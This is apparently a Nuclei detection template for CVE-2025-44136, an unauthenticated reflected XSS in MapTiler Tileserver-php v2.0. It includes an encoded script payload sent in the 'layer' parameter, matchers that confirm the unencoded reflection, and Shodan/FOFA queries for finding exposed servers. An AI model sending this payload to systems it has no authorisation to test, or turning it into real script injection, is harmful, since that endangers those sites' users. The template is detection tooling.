id: CVE-2025-44136

info:
  name: MapTiler Tileserver-php v2.0 - Unauthenticated XSS
  author: 0x_Akoko
  severity: medium
  description: |
    MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \"layer\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking or phishing.
  remediation: |
    Update to the latest version of MapTiler Tileserver-php.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-44136
    - https://github.com/mheranco/CVE-2025-44136
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-44136
    epss-score: 0.02507
    epss-percentile: 0.83164
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"TileServer-php"
    fofa-query: title="TileServer-php"
  tags: cve,cve2025,xss,maptiler,tileserver,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/tileserver.php/wmts/x/1/1/asd?Request=x&layer=%3Csvg+alert(document.domain)%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<svg alert(document.domain)>","Unknown or not specified dataset")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 404'
        condition: and
# digest: 4a0a00473045022100fb3516fb821a306754919abee80d81764ce4ec9bd8e8c690a4c08307d3ff922b022050db2fd28bf8b25a253474157a90a43f63e145a119ccbf7e6488695b2434abe8:922c64590222798bb761d5b6d8e72950